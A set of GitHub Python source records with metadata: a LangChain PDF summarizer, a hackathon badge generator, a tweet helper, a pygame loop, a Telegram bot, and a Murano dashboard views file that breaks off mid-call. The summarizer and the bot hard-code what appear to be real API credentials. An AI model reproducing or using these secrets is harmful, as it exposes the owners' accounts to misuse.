conectPostgres\nfrom langchain import PromptTemplate\nfrom langchain.document_loaders import AzureBlobStorageContainerLoader\n\n\n\nprompt_template = \"\"\"\nEscribir un resumen consiso del siguiente texto:\n{text}\nResumen consiso en español:\"\"\"\n\n\nmap_prompt = PromptTemplate(template=prompt_template, input_variables=[\"text\"])\n\n\n\n# Claves\nopenai_api_key = \"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\"\n# Modelo de Lenguaje\nllm = OpenAI(temperature=0, openai_api_key=openai_api_key)\nloader = PyPDFLoader(\"content/pdf_files/Himno.pdf\")\npages = loader.load()\n\n\n\n\n# Conecccion BD\nconeccion, cursor, conection = conectPostgres().ConnectDatabase()\n\n\ntext = \"\"\nfor page in pages:\n text += page.page_content\n\n\ntext = text.replace('\\t', ' ')\n#text = text.replace('\\n', ' ')\ntext = text.strip()\n\n\nwith open(f'content/extracted_text/text.txt', 'w') as out:\n out.write(text)\n\n\n\nprint(\"Numero de Tokens Totales: \",llm.get_num_tokens(text))\ntext_splitter = RecursiveCharacterTextSplitter(separators=[\"\\n\\n\", \"\\n\"], chunk_size=5000, chunk_overlap=500)\ndocs = text_splitter.create_documents([text])\nnum_docs = len(docs)\n\nnum_tokens_first_doc = llm.get_num_tokens(docs[0].page_content)\nprint (f\"Now we have {num_docs} documents and the first one has {num_tokens_first_doc} tokens\")\n\n\nsummary_chain = load_summarize_chain(llm=llm, chain_type='map_reduce', map_prompt=map_prompt)\noutput = summary_chain.run(docs)\nsumary = output.strip()\n\n\n\nwith open(f'content/Summarys/resumen.txt', 'w') as out:\n out.write(sumary)\n\n\nprint(output)\n\n\n'''\nnuevo_registro= conectPostgres().insetSummary(\"GHMF\", sumary, cursor, conection)\n\n'''\n\n", "repo_name": "GermanMoran/Generacion-Resumen", "sub_path": "Pruebas/lanchain.py", "file_name": "lanchain.py", "file_ext": "py", "file_size_in_byte": 1897, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "langchain.PromptTemplate", "line_number": 20, "usage_type": "call"}, {"api_name": "langchain.OpenAI", "line_number": 27, "usage_type": "call"}, {"api_name": "langchain.document_loaders.PyPDFLoader", "line_number": 28, "usage_type": "call"}, {"api_name": "Conection.conectPostgres", "line_number": 35, "usage_type": "call"}, {"api_name": "langchain.text_splitter.RecursiveCharacterTextSplitter", "line_number": 54, "usage_type": "call"}, {"api_name": "langchain.chains.summarize.load_summarize_chain", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "16202803434", "text": "import os\n\nimport firebase_admin\nfrom PIL import Image\nfrom firebase_admin import firestore\n\nimport Config\nimport Tools\n\n\nclass Card:\n\tQR_PIX_SIZE = 1\n\tQR_POS = (450, 78)\n\t_QR_SIZE = 267\n\tQR_SIZE = (_QR_SIZE, _QR_SIZE)\n\tQR_BORDER_SIZE = 0\n\tTYPE_POS = (0, 475)\n\tNAME_POS = (QR_POS[0], 370)\n\tNICK_POS = (1198, 870)\n\n\nclass Assistant(object):\n\t__ID:int = 1\n\t__DATA:str = 'empty'\n\t_DATA_FILE:str = Config.DATA_PATH\n\n\tdef __init__(self, id:str, type:str='', name:str=None):\n\t\tself.id = id\n\t\tself.type = type\n\t\tself.name = name\n\t\tself.card = None\n\t\tself.qr = None\n\n\tdef show(self):\n\t\tself.card.show()\n\n\tdef save(self):\n\t\tself.card.save(os.path.join(Config.OUT_PATH, str(self.id) + '.png'))\n\n\tdef generate_qr(self, crypt_id=False):\n\t\tself.qr = Tools.generate_qr(self.id, Card.QR_PIX_SIZE, Card.QR_BORDER_SIZE)\n\t\tself.qr = Tools.scale(self.qr, Card.QR_SIZE, False)\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tself.card = Image.open(Config.BAK_PATH)\n\t\tTools.draw_text(self.card, self.type, Card.TYPE_POS, Config.TYPE_FONT, Config.WHITE_FONT_COLOR)\n\t\tif self.type == '':\n\t\t\tself.smallen()\n\n\tdef smallen(self):\n\t\tblank = Image.new('RGB', (1082, 782),(255,255,255))\n\t\tblank.paste(self.card, (0, 0))\n\t\tself.card = blank\n\n\t@staticmethod\n\tdef get_data():\n\t\tdata = Tools.DataFile.get_content(Assistant._DATA_FILE, 'JSON')\n\t\tnum = data[Assistant.__DATA]\n\t\tres = []\n\t\tfor _ in range(num):\n\t\t\tres.append(Assistant('A' + str(Assistant.__ID)))\n\t\t\tAssistant.__ID += 1\n\t\t\tif Config.TEST:\n\t\t\t\tbreak\n\t\treturn res\n\n\nclass Guest(Assistant):\n\t__ID:int = 1\n\t__TYPE:str = 'CONVIDAT'\n\t__DATA:str = 'guests'\n\n\tdef __init__(self, name:str, mtype:str='', logo:str='', has_qr:bool=False):\n\t\tsuper().__init__('HackEPS_Guest_' + str(Guest.__ID), (mtype, Guest.__TYPE)[mtype == ''], name)\n\t\tGuest.__ID += 1\n\t\tself.has_qr = has_qr\n\t\tself.logo = logo\n\t\tif has_qr:\n\t\t\tself.generate_qr(True)\n\t\tif not logo == '':\n\t\t\tself.logopath = os.path.join(Config.RES_PATH, Config.EDITIONS_FOLDER, Config.EDITION, 'images', logo)\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\tif self.logo != '':\n\t\t\tlogo = Image.open(self.logopath).convert(\"RGBA\")\n\t\t\tlogo = Tools.scale(logo, Card.QR_SIZE)\n\t\t\tself.card.paste(logo, Card.QR_POS)\n\t\telif self.has_qr:\n\t\t\tself.card.paste(self.qr, Card.QR_POS)\n\t\tif self.name != '':\n\t\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef get_data(name=None):\n\t\tres = []\n\t\tdata = Tools.DataFile.get_content(Guest._DATA_FILE, 'JSON')\n\t\tfor u in data[Guest.__DATA]:\n\t\t\tif name is None or u['name'] == name:\n\t\t\t\tres.append(Guest(u['name'], u['type'], u['logo'], u['qr']))\n\t\t\tif Config.TEST or (name is not None and u['name'] == name):\n\t\t\t\tbreak\n\t\treturn res\n\n\nclass Company(Assistant):\n\t__ID:int = 1\n\t__TYPE:str = 'EMPRESA'\n\t__DATA:str = 'companies'\n\n\tdef __init__(self, name:str, image):\n\t\tsuper().__init__('C' + str(Company.__ID), Company.__TYPE, name)\n\t\tCompany.__ID += 1\n\t\tself.logopath = os.path.join(Config.RES_PATH, Config.EDITIONS_FOLDER, Config.EDITION, 'images', image)\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\timage = Image.open(self.logopath).convert(\"RGBA\") # .resize((550,350), Image.ANTIALIAS)\n\t\timage = Tools.scale(image, Card.QR_SIZE)\n\t\tself.card.paste(image, Card.QR_POS)\n\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef get_data(name=None):\n\t\tres = []\n\t\tdata = Tools.DataFile.get_content(Company._DATA_FILE, 'JSON')\n\t\tfor u in data[Company.__DATA]:\n\t\t\tfor _ in range(u['number_of_cards']):\n\t\t\t\tif name is None or u['name'] == name:\n\t\t\t\t\tres.append(Company(u['name'], u['logo']))\n\t\t\t\tif Config.TEST:\n\t\t\t\t\tbreak\n\t\t\tif Config.TEST or (name is not None and u['name'] == name):\n\t\t\t\tbreak\n\t\treturn res\n\n\nclass Volunteer(Assistant):\n\t__ID:int = 1\n\t__LOGO_PATH:str = os.path.join(Config.RES_PATH, 'editions', Config.EDITION, 'images', 'logogran.png')\n\t__TYPE:str = 'VOLUNTARI/A'\n\t__DATA:str = 'volunteers'\n\n\tdef __init__(self, name:str):\n\t\tsuper().__init__('V' + str(Volunteer.__ID), Volunteer.__TYPE, name)\n\t\tVolunteer.__ID += 1\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\timage = Image.open(Volunteer.__LOGO_PATH).convert(\"RGBA\")\n\t\timage = Tools.scale(image, Card.QR_SIZE)\n\t\tself.card.paste(image, Card.QR_POS)\n\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef get_data(name=None):\n\t\tres = []\n\t\tdata = Tools.DataFile.get_content(Volunteer._DATA_FILE, 'JSON')\n\t\tfor u in data[Volunteer.__DATA]:\n\t\t\tif name is None or name == u['name']:\n\t\t\t\tres.append(Volunteer(u['name']))\n\t\t\tif Config.TEST or (name is not None and name == u['name']):\n\t\t\t\tbreak\n\t\treturn res\n\nclass Mentor(Assistant):\n\t__ID:int = 1\n\t__LOGO_PATH:str = os.path.join(Config.RES_PATH, 'editions', Config.EDITION, 'images', 'logogran.png')\n\t__TYPE:str = 'MENTOR/A'\n\t__DATA:str = 'mentors'\n\n\tdef __init__(self, name:str):\n\t\tsuper().__init__('M' + str(Mentor.__ID), Mentor.__TYPE, name)\n\t\tMentor.__ID += 1\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\timage = Image.open(Mentor.__LOGO_PATH).convert(\"RGBA\")\n\t\timage = Tools.scale(image, Card.QR_SIZE)\n\t\tself.card.paste(image, Card.QR_POS)\n\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef get_data(name=None):\n\t\tres = []\n\t\tdata = Tools.DataFile.get_content(Mentor._DATA_FILE, 'JSON')\n\t\tfor u in data[Mentor.__DATA]:\n\t\t\tif name is None or name == u['name']:\n\t\t\t\tres.append(Mentor(u['name']))\n\t\t\tif Config.TEST or (name is not None and name == u['name']):\n\t\t\t\tbreak\n\t\treturn res\n\nclass Organizer(Assistant):\n\t__ID:int = 1\n\t__LOGO_PATH:str = os.path.join(Config.RES_PATH, 'editions', Config.EDITION, 'images', 'logogran.png')\n\t__TYPE:str = 'ORGANIZACIÓ'\n\t__DATA:str = 'organizers'\n\n\tdef __init__(self, name):\n\t\tsuper().__init__('O' + str(Organizer.__ID), Organizer.__TYPE, name)\n\t\tOrganizer.__ID += 1\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\timage = Image.open(Organizer.__LOGO_PATH).convert(\"RGBA\")\n\t\timage = Tools.scale(image, Card.QR_SIZE)\n\t\tself.card.paste(image, Card.QR_POS)\n\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\t# Tools.draw_text(self.card, self.name, Card.NAME_POS, Config.NAME_FONT, Config.WHITE_FONT_COLOR, False)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef get_data(name=None):\n\t\tres = []\n\t\tprint(Organizer._DATA_FILE)\n\t\tdata = Tools.DataFile.get_content(Organizer._DATA_FILE, 'JSON')\n\t\tfor u in data[Organizer.__DATA]:\n\t\t\tif name is None or u['name'] == name:\n\t\t\t\tres.append(Organizer(u['name']))\n\t\t\tif Config.TEST or (name is not None and u['name'] == name):\n\t\t\t\tbreak\n\t\treturn res\n\n\nclass Contestant(Assistant):\n\t__CRYPT_ID = False\n\t__TYPE:str = 'HACKER'\n\t__FIREBASE = None\n\t__FIRE_PATH:str = Config.DB_PATH_T if Config.TEST else Config.DB_PATH\n\n\tdef __init__(self, id, data):\n\t\tsuper().__init__(id, Contestant.__TYPE)\n\t\tself.generate_qr()\n\t\tself.name = data['fullName']\n\t\tself.nick = '\\\"' + data['nickname'] + '\\\"'\n\t\tif Config.TEST:\n\t\t\tContestant.__FIRE_PATH = Config.DB_PATH_T\n\n\tdef generate_card(self, rgb_back=(255, 255, 255)):\n\t\tsuper().generate_card(rgb_back)\n\t\tself.card.paste(self.qr, Card.QR_POS)\n\t\tTools.centrate_text_relative(self.card, self.name,Config.NAME_FONT, Card.NAME_POS, Card.QR_SIZE)\n\t\tself.smallen()\n\n\t@staticmethod\n\tdef __firebase_init(cred):\n\t\tif Contestant.__FIREBASE is None:\n\t\t\tContestant.__FIREBASE = firebase_admin.initialize_app(cred)\n\t\treturn Contestant.__FIREBASE\n\n\t@staticmethod\n\tdef get_data(id=None, name=None):\n\t\tcred = firebase_admin.credentials.Certificate(Config.DB_CERT_PATH)\n\t\tContestant.__firebase_init(cred)\n\t\tdb = firestore.client()\n\t\tusers_ref = db.collection(Contestant.__FIRE_PATH)\n\t\tusrs = users_ref.stream()\n\t\tusers = []\n\t\tfor usr in usrs:\n\t\t\tif ((id is None and name is None) \n\t\t\t\tor (id is not None and usr.id == id) \n\t\t\t\tor (name is not None and name == usr.to_dict()['fullName'])):\n\t\t\t\tusers.append(Contestant(usr.id, usr.to_dict()))\n\t\treturn users\n", "repo_name": "LleidaHack/IdentificationGenerator", "sub_path": "Model.py", "file_name": "Model.py", "file_ext": "py", "file_size_in_byte": 8246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "Config.DATA_PATH", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "Config.OUT_PATH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "Tools.generate_qr", "line_number": 41, "usage_type": "call"}, {"api_name": "Tools.scale", "line_number": 42, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 45, "usage_type": "name"}, {"api_name": "Config.BAK_PATH", "line_number": 45, "usage_type": "attribute"}, {"api_name": "Tools.draw_text", "line_number": 46, "usage_type": "call"}, {"api_name": "Config.TYPE_FONT", "line_number": 46, "usage_type": "attribute"}, {"api_name": "Config.WHITE_FONT_COLOR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PIL.Image.new", "line_number": 51, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "Tools.DataFile.get_content", "line_number": 57, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 57, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "Config.RES_PATH", "line_number": 81, "usage_type": "attribute"}, {"api_name": "Config.EDITIONS_FOLDER", "line_number": 81, "usage_type": "attribute"}, {"api_name": "Config.EDITION", "line_number": 81, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 86, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 86, "usage_type": "name"}, {"api_name": "Tools.scale", "line_number": 87, "usage_type": "call"}, {"api_name": "Tools.centrate_text_relative", "line_number": 92, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 92, "usage_type": "attribute"}, {"api_name": "Tools.DataFile.get_content", "line_number": 98, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 98, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "Config.RES_PATH", "line_number": 115, "usage_type": "attribute"}, {"api_name": "Config.EDITIONS_FOLDER", "line_number": 115, "usage_type": "attribute"}, {"api_name": "Config.EDITION", "line_number": 115, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 119, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 119, "usage_type": "name"}, {"api_name": "Tools.scale", "line_number": 120, "usage_type": "call"}, {"api_name": "Tools.centrate_text_relative", "line_number": 122, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 122, "usage_type": "attribute"}, {"api_name": "Tools.DataFile.get_content", "line_number": 128, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 128, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 133, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "Config.RES_PATH", "line_number": 142, "usage_type": "attribute"}, {"api_name": "Config.EDITION", "line_number": 142, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 152, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 152, "usage_type": "name"}, {"api_name": "Tools.scale", "line_number": 153, "usage_type": "call"}, {"api_name": "Tools.centrate_text_relative", "line_number": 155, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 155, "usage_type": "attribute"}, {"api_name": "Tools.DataFile.get_content", "line_number": 161, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 161, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "Config.RES_PATH", "line_number": 171, "usage_type": "attribute"}, {"api_name": "Config.EDITION", "line_number": 171, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 181, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 181, "usage_type": "name"}, {"api_name": "Tools.scale", "line_number": 182, "usage_type": "call"}, {"api_name": "Tools.centrate_text_relative", "line_number": 184, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 184, "usage_type": "attribute"}, {"api_name": "Tools.DataFile.get_content", "line_number": 190, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 190, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 194, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "Config.RES_PATH", "line_number": 200, "usage_type": "attribute"}, {"api_name": "Config.EDITION", "line_number": 200, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 210, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 210, "usage_type": "name"}, {"api_name": "Tools.scale", "line_number": 211, "usage_type": "call"}, {"api_name": "Tools.centrate_text_relative", "line_number": 213, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 213, "usage_type": "attribute"}, {"api_name": "Tools.DataFile.get_content", "line_number": 221, "usage_type": "call"}, {"api_name": "Tools.DataFile", "line_number": 221, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 225, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 234, "usage_type": "attribute"}, {"api_name": "Config.DB_PATH_T", "line_number": 234, "usage_type": "attribute"}, {"api_name": "Config.DB_PATH", "line_number": 234, "usage_type": "attribute"}, {"api_name": "Config.TEST", "line_number": 241, "usage_type": "attribute"}, {"api_name": "Config.DB_PATH_T", "line_number": 242, "usage_type": "attribute"}, {"api_name": "Tools.centrate_text_relative", "line_number": 247, "usage_type": "call"}, {"api_name": "Config.NAME_FONT", "line_number": 247, "usage_type": "attribute"}, {"api_name": "firebase_admin.initialize_app", "line_number": 253, "usage_type": "call"}, {"api_name": "firebase_admin.credentials.Certificate", "line_number": 258, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 258, "usage_type": "attribute"}, {"api_name": "Config.DB_CERT_PATH", "line_number": 258, "usage_type": "attribute"}, {"api_name": "firebase_admin.firestore.client", "line_number": 260, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 260, "usage_type": "name"}]} +{"seq_id": "10711373062", "text": "from utils.data_structres import dnamedtuple\n\n\nTWEET_ATTR = ['text',\n 'id',\n 'entities',\n 'in_reply_to_user_id',\n 'user',\n 'created_at',\n 'in_reply_to_status_id']\n\nTweet = dnamedtuple('Tweet', TWEET_ATTR)\n\ndef TweetBuilder(tweet):\n return Tweet(**{k : tweet[k] for k in Tweet._fields})\n\n\n\n\n", "repo_name": "shahaf-sameach/tweets-cluster", "sub_path": "database/tweet.py", "file_name": "tweet.py", "file_ext": "py", "file_size_in_byte": 371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "utils.data_structres.dnamedtuple", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "21668703393", "text": "import pygame\n\n# Initialize Pygame\npygame.init()\n\n# Set up the window\nscreen_width, screen_height = 640, 480\nscreen = pygame.display.set_mode((screen_width, screen_height))\n\n# Set up the clock\nclock = pygame.time.Clock()\nfps = 33\n\n# Set up the key flag\nkey_pressed = False\n\n# Game loop\nwhile True:\n # Handle events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n elif event.type == pygame.KEYDOWN:\n # Ignore key presses if a key is already pressed\n if not key_pressed:\n key_pressed = True\n # Handle the key press here\n\n elif event.type == pygame.KEYUP:\n key_pressed = False\n\n # Update the game state here\n\n # Draw the screen here\n\n # Limit the frame rate\n\n print(clock.tick(fps))\n", "repo_name": "paul92219/Game", "sub_path": "test_2.py", "file_name": "test_2.py", "file_ext": "py", "file_size_in_byte": 826, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 29, "usage_type": "attribute"}]} +{"seq_id": "12100211993", "text": "import telebot\nfrom telebot import types\n\nmy_token = '6858776423:AAEIQeQ8WvVN_RUDwgBJehc8zEp9BX6E6DI'\nmy_id = '1404363032'\n\nclient = telebot.TeleBot(token=my_token)\n\n\n@client.message_handler()\ndef send_message(text):\n markup_inline = types.InlineKeyboardMarkup()\n item_yes = types.InlineKeyboardButton(text='YES', callback_data='yes')\n item_no = types.InlineKeyboardButton(text='NO', callback_data='no')\n\n markup_inline.add(item_yes, item_no)\n client.send_message(my_id, text, reply_markup=markup_inline)\n\n\n@client.callback_query_handler(func=lambda callback: callback.data)\ndef answer(callback):\n if callback.data == 'yes':\n client.edit_message_text(chat_id=callback.message.chat.id, message_id=callback.message.id, text=\"Success!\")\n return 'OK'\n else:\n client.edit_message_text(chat_id=callback.message.chat.id, message_id=callback.message.id, text=\"Cancelled!\")\n return 'NO'\n\n", "repo_name": "SabirzhanovN/LoggingDBPProject", "sub_path": "payment/service.py", "file_name": "service.py", "file_ext": "py", "file_size_in_byte": 928, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "telebot.TeleBot", "line_number": 7, "usage_type": "call"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 12, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 12, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 13, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 13, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 14, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 14, "usage_type": "name"}]} +{"seq_id": "25437229305", "text": "import json\nimport urllib.parse as urlparse\n\nfrom django.core.files import storage\nfrom django import http\nfrom django.urls import reverse\nfrom django.urls import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\n# django.contrib.formtools migration to django 1.8\n# https://docs.djangoproject.com/en/1.8/ref/contrib/formtools/\ntry:\n from django.contrib.formtools.wizard import views as wizard_views\nexcept ImportError:\n from formtools.wizard import views as wizard_views\nfrom horizon import exceptions\nfrom horizon.forms import views\nfrom horizon import messages\nfrom horizon import tables as horizon_tables\nfrom horizon.utils import functions as utils\nfrom horizon import views as horizon_views\nfrom muranoclient.common import exceptions as exc\nfrom muranoclient.common import utils as muranoclient_utils\nfrom openstack_dashboard.api import glance\nfrom openstack_dashboard.api import keystone\nfrom oslo_log import log as logging\n\nfrom muranodashboard import api\nfrom muranodashboard.api import packages as pkg_api\nfrom muranodashboard.catalog import views as catalog_views\nfrom muranodashboard.common import utils as muranodashboard_utils\nfrom muranodashboard.environments import consts\nfrom muranodashboard.packages import consts as packages_consts\nfrom muranodashboard.packages import forms\nfrom muranodashboard.packages import tables\n\nLOG = logging.getLogger(__name__)\n\nFORMS = [('upload', forms.ImportPackageForm),\n ('modify', forms.UpdatePackageForm),\n ('add_category', forms.SelectCategories)]\n\nBUNDLE_FORMS = [('upload', forms.ImportBundleForm), ]\n\n\ndef is_app(wizard):\n \"\"\"Check if we're uploading an application\n\n Return true if uploading package is an application.\n In that case, category selection form need to be shown.\n \"\"\"\n step_data = wizard.storage.get_step_data('upload')\n if step_data:\n return step_data['package'].type == 'Application'\n return False\n\n\ndef _ensure_images(name, package, request, step_data=None):\n glance_client = glance.glanceclient(\n request, version='2')\n\n base_url = packages_consts.MURANO_REPO_URL\n image_specs = package.images()\n\n try:\n imgs = muranoclient_utils.ensure_images(\n glance_client=glance_client,\n image_specs=image_specs,\n base_url=base_url)\n for img in imgs:\n msg = _(\"Trying to add {0} image to glance. \"\n \"Image will be ready for deployment after \"\n \"successful upload\").format(img['name'],)\n messages.warning(request, msg)\n log_msg = _(\"Trying to add {0}, {1} image to \"\n \"glance. Image will be ready for \"\n \"deployment after successful upload\")\\\n .format(img['name'], img['id'],)\n LOG.info(log_msg)\n if step_data:\n step_data['images'].append(img)\n except Exception as e:\n msg = _(\"Error {0} occurred while installing \"\n \"images for {1}\").format(e, name)\n messages.error(request, msg)\n LOG.exception(msg)\n\n\nclass PackageDefinitionsView(horizon_tables.DataTableView):\n table_class = tables.PackageDefinitionsTable\n template_name = 'packages/index.html'\n page_title = _(\"Packages\")\n\n _more = False\n _prev = False\n\n def has_more_data(self, table):\n return self._more\n\n def has_prev_data(self, table):\n return self._prev\n\n def get_data(self):\n sort_dir = self.request.GET.get('sort_dir', 'asc')\n opts = {\n 'include_disabled': True,\n 'sort_dir': sort_dir,\n }\n marker = self.request.GET.get(\n tables.PackageDefinitionsTable._meta.pagination_param, None)\n\n opts = self.get_filters(opts)\n\n packages = []\n page_size = utils.get_page_size(self.request)\n with api.handled_exceptions(self.request):\n packages, extra = pkg_api.package_list(\n self.request, marker=marker, filters=opts, paginate=True,\n page_size=page_size)\n\n if sort_dir == 'asc':\n self._more = extra\n else:\n packages = list(reversed(packages))\n self._prev = extra\n\n if packages:\n if sort_dir == 'asc':\n backward_marker = packages[0].id\n opts['sort_dir'] = 'desc'\n else:\n backward_marker = packages[-1].id\n opts['sort_dir'] = 'asc'\n\n __, extra = pkg_api.package_list(\n self.request, filters=opts, paginate=True,\n marker=backward_marker, page_size=0)\n\n if sort_dir == 'asc':\n self._prev = extra\n else:\n self._more = extra\n\n # Add information about project tenant for admin user\n if self.request.user.is_superuser:\n tenants = []\n try:\n tenants, _more = keystone.tenant_list(self.request)\n except Exception:\n exceptions.handle(self.request,\n _(\"Unable to retrieve project list.\"))\n tenent_name_by_id = {tenant.id: tenant.name for tenant in tenants}\n for i, p in enumerate(packages):\n packages[i].tenant_name = tenent_name_by_id.get(p.owner_id)\n else:\n current_tenant = self.request.session['token'].tenant\n for i, package in enumerate(packages):\n if package.owner_id == current_tenant['id']:\n packages[i].tenant_name = current_tenant['name']\n else:\n packages[i].tenant_name = _('UNKNOWN')\n return packages\n\n def get_context_data(self, **kwargs):\n context = super(PackageDefinitionsView,\n self).get_context_data(**kwargs)\n context['tenant_id'] = self.request.session['token'].tenant['id']\n return context\n\n def get_filters(self, filters):\n filter_action = self.table._meta._filter_action\n if filter_action:\n filter_field = self.table.get_filter_field()\n if filter_action.is_api_filter(filter_field):\n filter_string = self.table.get_filter_string()\n if filter_field and filter_string:\n filters[filter_field] = filter_string\n return filters\n\n\nclass ImportBundleWizard(horizon_views.PageTitleMixin, views.ModalFormMixin,\n wizard_views.SessionWizardView):\n template_name = 'packages/import_bundle.html'\n page_title = _(\"Import Bundle\")\n\n def get_context_data(self, **kwargs):\n context = super(ImportBundleWizard, self).get_context_data(**kwargs)\n repo_url = urlparse.urlparse(packages_consts.MURANO_REPO_URL)\n context['murano_repo_url'] = \"{}://{}\".format(\n repo_url.scheme, repo_url.netloc)\n return context\n\n def get_form_initial(self, step):\n initial_dict = self.initial_dict.get(step, {})\n if step == 'upload':\n for name in ['url', 'name', 'import_type']:\n if name in self.request.GET:\n initial_dict[name] = self.request.GET[name]\n return initial_dict\n\n def process_step(self, form):\n @catalog_views.update_latest_apps\n def _update_latest_apps(request, app_id):\n LOG.info('Adding {0} application to the'\n ' latest apps list'.format(app_id))\n\n step_data = self.get_form_step_data(form)\n if self.steps.current == 'upload':\n import_type = form.cleaned_data['import_type']\n data = {}\n f = None\n base_url = packages_consts.MURANO_REPO_URL\n\n if import_type == 'by_url':\n f = form.cleaned_data['url']\n elif import_type == 'by_name':\n f = muranoclient_utils.to_url(\n form.cleaned_data['name'],\n 